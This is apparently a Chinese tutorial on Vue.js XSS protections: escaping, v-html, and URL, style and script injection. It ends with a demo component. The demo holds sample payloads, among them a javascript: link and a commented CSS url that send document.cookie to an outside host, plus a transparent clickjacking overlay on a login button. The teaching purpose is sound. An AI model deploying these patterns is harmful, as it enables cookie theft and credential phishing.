vue的安全措施
HTML内容
不论使用模板还是渲染函数,内容都会被自动转义。也就是说对于这份模板:
<h1>{{ userProvidedString }}</h1>
如果 userProvidedString 包含了:
'<script>alert("hi")</script>'
则它会被转义成为如下 HTML:
<script>alert("hi")</script>
因此避免了脚本注入。该转义通过诸如 **textContent (文本节点)**的浏览器原生的 API 完成,所以除非浏览器本身存在安全漏洞,否则不会存在安全漏洞。
文本节点
Node 接口的 textContent 属性表示一个节点及其后代的文本内容。
let text = someNode.textContent;
someOtherNode.textContent = string;
返回值
一个字符串或 null.
描述
textContent 的值取决于具体情况:
- 如果节点是一个 document,或者一个 DOCTYPE ,则 textContent 返回 null。备注: 如果你要获取整个文档的文本以及 CDATA data ,可以使用 document.documentElement.textContent。
- 如果节点是个 CDATA section、注释、processing instruction (en-US) 或者 text node,textContent 返回节点内部的文本内容,例如 Node.nodeValue。
- 对于其他节点类型,textContent 将所有子节点的 textContent 合并后返回,除了注释和 processing instructions。(如果该节点没有子节点的话,返回一个空字符串。)
在节点上设置 textContent 属性的话,会删除它的所有子节点,并替换为一个具有给定值的文本节点。
与innerText的区别
不要被 Node.textContent 和 HTMLElement.innerText 的区别搞混了。虽然名字看起来很相似,但有重要的不同之处:
与innerHtml的区别
正如其名称,Element.innerHTML 返回 HTML。通常,为了在元素中检索或写入文本,人们使用 innerHTML。但是,textContent 通常具有更好的性能,因为文本不会被解析为 HTML。
小属性大用途
使用 textContent 可以防止 XSS 攻击。
Attribute绑定
同样地,动态 attribute 绑定也会自动被转义。也就是说对于这份模板:
<h1 v-bind:title="userProvidedString">
hello
</h1>
如果 userProvidedString 包含了:
'" οnclick="alert(\'hi\')'
则它会被转义成为如下 HTML:
" οnclick="alert('hi')
因此避免了通过闭合 title attribute 而注入新的任意 HTML。该转义通过诸如 setAttribute 的浏览器原生的 API 完成,所以除非浏览器本身存在安全漏洞,否则不会存在安全漏洞。
Element.setAttribute()
设置指定元素上的某个属性值。如果属性已经存在,则更新该值;否则,使用指定的名称和值添加一个新的属性。
要获取某个属性当前的值,可使用 getAttribute();要删除某个属性,可使用 removeAttribute()。
语法
element.setAttribute(name, value);
参数
- name
表示属性名称的字符串。
- value
属性的值/新值。
任何非字符串的值都会被自动转换为字符串。
当在 HTML 文档中的 HTML 元素上调用 setAttribute() 方法时,该方法会将其属性名称(attribute name)参数小写化。
如果指定的属性已经存在,则其值变为传递的值。如果不存在,则创建指定的属性。
尽管对于不存在的属性,getAttribute() 返回 null,你还是应该使用 removeAttribute() 代替 elt.setAttribute(attr, null) 来删除属性。
潜在危险
在任何 web 应用中,允许未过滤的用户提供的内容成为 HTML、CSS 或 JavaScript 都有潜在的危险,因此应当尽可能避免。尽管如此,有些情况下的风险是可接受的。
例如,类似 CodePen 和 JSFiddle 这样的服务允许用户提供的内容直接被执行,但这是预期行为,且在 iframe 中以某种程度被隔离在沙箱中。当一些重要功能不可避免地依赖引入一些安全漏洞,您的团队需要自行在该功能的重要性和漏洞带来的最坏场景间进行权衡。
注入HTML
如你之前学到的,Vue 会自动转义 HTML 内容,以避免向应用意外注入可执行的 HTML。然而,某些情况下你清楚这些 HTML 是安全的,这时你可以显式地渲染 HTML 内容:
- 使用模板:
<div v-html="userProvidedHtml"></div>
- 使用渲染函数:
h('div', {
domProps: {
innerHTML: this.userProvidedHtml
}
})
- 使用基于 JSX 的渲染函数:
<div domPropsInnerHTML={this.userProvidedHtml}></div>
注意永远不要认为用户提供的 HTML 是 100% 安全的,除非它是在一个 iframe 沙盒里或者应用中只有编写这些 HTML 的用户可以接触到它。除此之外,允许用户撰写其自己的 Vue 模板会带来类似的危险。
注入URL
在类似这样的 URL 中:
<a v-bind:href="userProvidedUrl">
click me
</a>
如果没有对该 URL 进行“过滤”以防止通过 javascript: 来执行 JavaScript,则会有潜在的安全问题。有一些库如 sanitize-url 可以帮助你做这件事,但请注意:
只要你是在前端进行 URL 过滤,那么就已经有安全问题了。用户提供的 URL 永远需要通过后端在入库之前进行过滤。然后这个问题就会在_每个_客户端连接该 API 时被阻止,包括原生移动应用。还要注意,甚至对于被过滤过的 URL,Vue 仍无法帮助你保证它们会跳转到安全的目的地。
注入样式
来看这个示例:
<a
v-bind:href="sanitizedUrl"
v-bind:style="userProvidedStyles"
>
click me
</a>
让我们假设 sanitizedUrl 已经被过滤过了,所以这已经是一个完全真实的 URL 且没有 JavaScript。但通过 userProvidedStyles,恶意用户仍可以提供 CSS 来进行“点击诈骗”,例如将链接的样式设置为一个透明的方框覆盖在“登录”按钮之上。然后再把 https://user-controlled-website.com/ (href里的【sanitizedUrl】)做成你的应用的登录页的样子,它们就可能获取一个用户真实的登录信息。
你可以想象到,允许用户为一个
<style>{{ userProvidedStyles }}</style>
为了确保用户完全远离点击诈骗,我们推荐只允许在一个 iframe 沙盒内进行 CSS 的完全控制。或让用户通过一个样式绑定来控制,我们推荐使用其对象语法且只允许用户提供特定的可以安全控制的 property 的值。例如:
<a
v-bind:href="sanitizedUrl"
v-bind:style="{
color: userProvidedColor,
background: userProvidedBackground
}"
>
click me
</a>
注入JavaScript
我们强烈不鼓励使用 Vue 渲染
请注意,永远不要认为用户提供的 JavaScript 是 100% 安全的,除非它是在一个 iframe 沙盒里或者应用中只有编写该 JavaScript 的用户可以接触到它。
有的时候我们会收到在 Vue 模板中可以产生跨站脚本攻击 (XSS) 的安全漏洞报告。一般情况下,我们不会将这样的案例视为真正的安全漏洞,因为从以下两个可能允许 XSS 的场景看,不存在可行的办法来保护开发者:
- 开发者显式地要求 Vue 将用户提供的、未经过滤的内容作为 Vue 模板进行渲染。这是无法避免的不安全,Vue 没有办法知道其源头。
- 开发者向 Vue 挂载包含服务端渲染或用户提供的内容的 HTML 的整个页面。这实质上和问题 #1 是相同的,但是有的时候开发者可能没有意识到。这会使得攻击者提供作为普通 HTML 安全但对于 Vue 模板不安全的 HTML 以导致安全漏洞。最佳实践是永远不要向 Vue 挂载可能包含服务端渲染或用户提供的内容。
附录demo
<template>
<div class="content">
<div class="item">
<div class="title">注入 HTML</div>
<div v-html="vHTML"></div>
<div class="memo">{{ vHTML }}</div>
</div>
<div class="item">
<div class="title">注入 URL</div>
<a :href="testHref">注入 URL </a>
<div class="memo">{{ testHref }}</div>
</div>
<div class="item">
<div class="title">注入 样式</div>
<div>
<el-input style="margin-top: 10px; width: 100px" placeholder="用户名" />
<el-input style="margin: 10px 20px 0; width: 100px" placeholder="密码" />
<el-button type="primary" size="small">登录</el-button>
<a :href="safeHref" :style="userProvidedStyles">透明</a>
</div>
<div class="memo">
将a标签的href指定到钓鱼网站,将a标签的样式设置为透明并悬挂在登录标签上,点击a标签则进入了钓鱼网站。将钓鱼网站做的和用户真实的登录页一模一样,此时,用户输入用户名和密码则钓鱼网站就获取到了用户真实的用户名和密码。
</div>
</div>
<div class="item">
<div class="title">注入 JavaScript</div>
<el-button type="danger" @click="userProvideJS">注入js</el-button>
<div class="memo">{{ userProvideJS }}</div>
</div>
<div class="item">
<div class="title">xss样例</div>
<div v-html="jsCode"></div>
{{ jsCode }}
</div>
</div>
</template>
<script lang="ts">
import { Component, Vue } from 'vue-property-decorator';
@Component({
name: 'Test'
})
export default class Test extends Vue {
vHTML = '<a href=javascript:alert(111)>资源</a>';
testHref = 'javascript:location.href="http://www.baidu.com?"+document.cookie';
safeHref = 'http://10.100.2.140:32013/bs/portal/login.html#/';
// userProvidedStyles = `background-image:url("http://www.baidu.com?${document.cookie}");`;
userProvidedStyles = `display: inline-block;margin-left: -76px;width: 76px;opacity:0`;
jsCode =
'<a href="http://10.100.2.140:32013/bs/portal/login.html#/" οnclick="hello()"><i>大家好</i></a>';
userProvideJS = () => {
setInterval(() => {
this.$message.warning('你被攻击了!');
}, 1000);
};
created() {
const xss: any = require('xss');
this.jsCode = xss(this.jsCode);
}
}
</script>
<style lang="scss" scoped>
.content {
background: #ffffff;
height: calc(100vh - 106px);
padding: 20px;
.item {
padding-top: 20px;
padding-bottom: 10px;
border-bottom: 1px solid #ccc;
.title {
font-weight: bold;
margin: 10px 0;
}
.memo {
color: #777777;
margin: 10px 0;
}
}
}
</style>
第一原则:永远不要使用不可信任的模板
在使用 Vue 的时候最基本的安全规则是永远不要将不可信任的内容作为模板内容使用。这样做等价于允许在应用程序中执行任意的 JavaScript——甚至更糟的是如果在服务端渲染的话可能导致服务器被攻破。举个例子:
new Vue({
el: '#app',
template: `<div>` + userProvidedString + `</div>` // 永远不要这样做
})
Vue 的模板是被编译为 JavaScript 的,而其中的表达式会作为渲染流程的一部分执行。尽管该表达式是在一个特定的渲染上下文中进行运算的。考虑到潜在的全局运行环境的复杂性,作为类似 Vue 的框架,想要完全让代码远离潜在的恶意代码执行而不导致性能问题,是不切实际的。最直接的回避这类问题的方式就是确保 Vue 模板的内容始终是可信的且完全由你掌控。
最佳实践
通用的规则是只要允许执行未过滤的用户提供的内容 (不论作为 HTML、JavaScript 甚至 CSS),你就可能令自己处于被攻击的境地。这些建议实际上不论使用 Vue 还是别的框架甚至不使用框架,都是成立的。
除了上述关于潜在危险的建议,我们也推荐自行熟悉以下资料:
然后利用学到的知识,对那些包含了第三方组件或通过其它方式影响渲染到 DOM 的内容的依赖的源代码进行重新审查,以发现潜在的危险模式。
后端协作
HTTP 安全漏洞,诸如伪造跨站请求 (CSRF/XSRF) 和跨站脚本注入 (XSSI),都是后端重点关注的方向,因此并不是 Vue 所担心的。尽管如此,和后端团队交流学习如何和他们的 API 最好地进行交互,例如在表单提交时提交 CSRF token,永远是件好事。